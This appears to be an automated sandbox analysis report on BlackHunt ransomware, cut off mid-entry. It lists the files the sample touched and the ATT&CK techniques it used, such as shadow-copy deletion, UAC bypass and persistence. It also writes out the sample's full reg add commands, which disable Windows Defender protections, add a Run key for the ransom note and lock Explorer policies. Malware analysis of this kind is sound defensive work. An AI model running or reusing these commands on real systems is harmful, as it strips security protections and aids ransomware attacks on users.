File opened for modification	C:\Program Files\7-Zip\Lang\ru.txt	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\include\win32\#BlackHunt_Private.key	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\203x8subpicture.png	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\#BlackHunt_ReadMe.txt	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\css\blafdoc.css	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\DVD Maker\it-IT\#BlackHunt_ReadMe.txt	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\#BlackHunt_ReadMe.txt	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Riyadh88	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\#BlackHunt_ReadMe.hta	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_ru.jar	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Pyongyang	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Salta	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\THIRDPARTYLICENSEREADME-JAVAFX.txt	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\MANIFEST.MF	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\#BlackHunt_Private.key	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\EnterGet.wps	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-previous-static.png	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sq.txt	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\#BlackHunt_ReadMe.txt	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\#BlackHunt_Private.key	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+2	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\circleround_selectionsubpicture.png	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\#BlackHunt_Private.key	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\#BlackHunt_Private.key	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\mc.jar	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser_5.5.0.165303.jar	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-back-static.png	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\mainimage-mask.png	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-highlight.png	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\splash.gif	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_it.jar	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.update\#BlackHunt_ReadMe.hta	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\btn-next-static.png	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_highlights_Thumbnail.bmp	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.jdp.ja_5.5.0.165303.jar	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\dotsdarkoverlay.png	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Rarotonga	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Srednekolymsk	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\.settings\#BlackHunt_ReadMe.txt	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\feature.properties	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\DvdTransform.fx	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1796	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1220	vssadmin.exe
2680	vssadmin.exe
1468	vssadmin.exe
3040	vssadmin.exe
464	vssadmin.exe
1544	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1468	taskkill.exe

Modifies registry class 12 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	wbadmin.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	wbadmin.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
268	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2700	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
Token: SeRestorePrivilege	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
Token: SeBackupPrivilege	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
Token: SeTakeOwnershipPrivilege	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
Token: SeAuditPrivilege	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
Token: SeSecurityPrivilege	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
Token: SeIncBasePriorityPrivilege	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
Token: SeBackupPrivilege	2268	vssvc.exe
Token: SeRestorePrivilege	2268	vssvc.exe
Token: SeAuditPrivilege	2268	vssvc.exe
Token: SeBackupPrivilege	1720	wbengine.exe
Token: SeRestorePrivilege	1720	wbengine.exe
Token: SeSecurityPrivilege	1720	wbengine.exe
Token: SeSecurityPrivilege	2600	wevtutil.exe
Token: SeSecurityPrivilege	1724	wevtutil.exe
Token: SeBackupPrivilege	2600	wevtutil.exe
Token: SeBackupPrivilege	1724	wevtutil.exe
Token: SeSecurityPrivilege	1648	wevtutil.exe
Token: SeBackupPrivilege	1648	wevtutil.exe
Token: SeDebugPrivilege	1468	taskkill.exe
Token: SeSecurityPrivilege	2064	wevtutil.exe
Token: SeBackupPrivilege	2064	wevtutil.exe
Token: SeSecurityPrivilege	2648	wevtutil.exe
Token: SeBackupPrivilege	2648	wevtutil.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2672 wrote to memory of 2900	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	30
PID 2672 wrote to memory of 2900	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	30
PID 2672 wrote to memory of 2900	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	30
PID 2672 wrote to memory of 2900	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	30
PID 2672 wrote to memory of 2664	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	31
PID 2672 wrote to memory of 2664	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	31
PID 2672 wrote to memory of 2664	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	31
PID 2672 wrote to memory of 2664	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	31
PID 2672 wrote to memory of 1204	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	33
PID 2672 wrote to memory of 1204	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	33
PID 2672 wrote to memory of 1204	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	33
PID 2672 wrote to memory of 1204	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	33
PID 2672 wrote to memory of 2604	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	35
PID 2672 wrote to memory of 2604	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	35
PID 2672 wrote to memory of 2604	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	35
PID 2672 wrote to memory of 2604	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	35
PID 2672 wrote to memory of 2572	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	38
PID 2672 wrote to memory of 2572	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	38
PID 2672 wrote to memory of 2572	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	38
PID 2672 wrote to memory of 2572	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	38
PID 2672 wrote to memory of 3044	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	40
PID 2672 wrote to memory of 3044	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	40
PID 2672 wrote to memory of 3044	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	40
PID 2672 wrote to memory of 3044	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	40
PID 2672 wrote to memory of 3056	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	41
PID 2672 wrote to memory of 3056	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	41
PID 2672 wrote to memory of 3056	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	41
PID 2672 wrote to memory of 3056	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	41
PID 2672 wrote to memory of 840	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	43
PID 2672 wrote to memory of 840	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	43
PID 2672 wrote to memory of 840	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	43
PID 2672 wrote to memory of 840	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	43
PID 2672 wrote to memory of 664	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	44
PID 2672 wrote to memory of 664	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	44
PID 2672 wrote to memory of 664	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	44
PID 2672 wrote to memory of 664	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	44
PID 2672 wrote to memory of 268	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	45
PID 2672 wrote to memory of 268	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	45
PID 2672 wrote to memory of 268	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	45
PID 2672 wrote to memory of 268	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	45
PID 2672 wrote to memory of 1632	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	47
PID 2672 wrote to memory of 1632	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	47
PID 2672 wrote to memory of 1632	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	47
PID 2672 wrote to memory of 1632	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	47
PID 2672 wrote to memory of 584	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	49
PID 2672 wrote to memory of 584	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	49
PID 2672 wrote to memory of 584	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	49
PID 2672 wrote to memory of 584	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	49
PID 2900 wrote to memory of 436	2900	cmd.exe	50
PID 2900 wrote to memory of 436	2900	cmd.exe	50
PID 2900 wrote to memory of 436	2900	cmd.exe	50
PID 2672 wrote to memory of 556	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	51
PID 2672 wrote to memory of 556	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	51
PID 2672 wrote to memory of 556	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	51
PID 2672 wrote to memory of 556	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	51
PID 2672 wrote to memory of 1088	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	53
PID 2672 wrote to memory of 1088	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	53
PID 2672 wrote to memory of 1088	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	53
PID 2672 wrote to memory of 1088	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	53
PID 2672 wrote to memory of 1460	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	56
PID 2672 wrote to memory of 1460	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	56
PID 2672 wrote to memory of 1460	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	56
PID 2672 wrote to memory of 1460	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	56
PID 2672 wrote to memory of 2216	2672	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe	57

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
"C:\Users\Admin\AppData\Local\Temp\734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2900
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:1204
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    PID:1376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:3044
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:3056
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:1632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:584
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1088
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1460
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2216
- - C:\Windows\system32\reg.exe
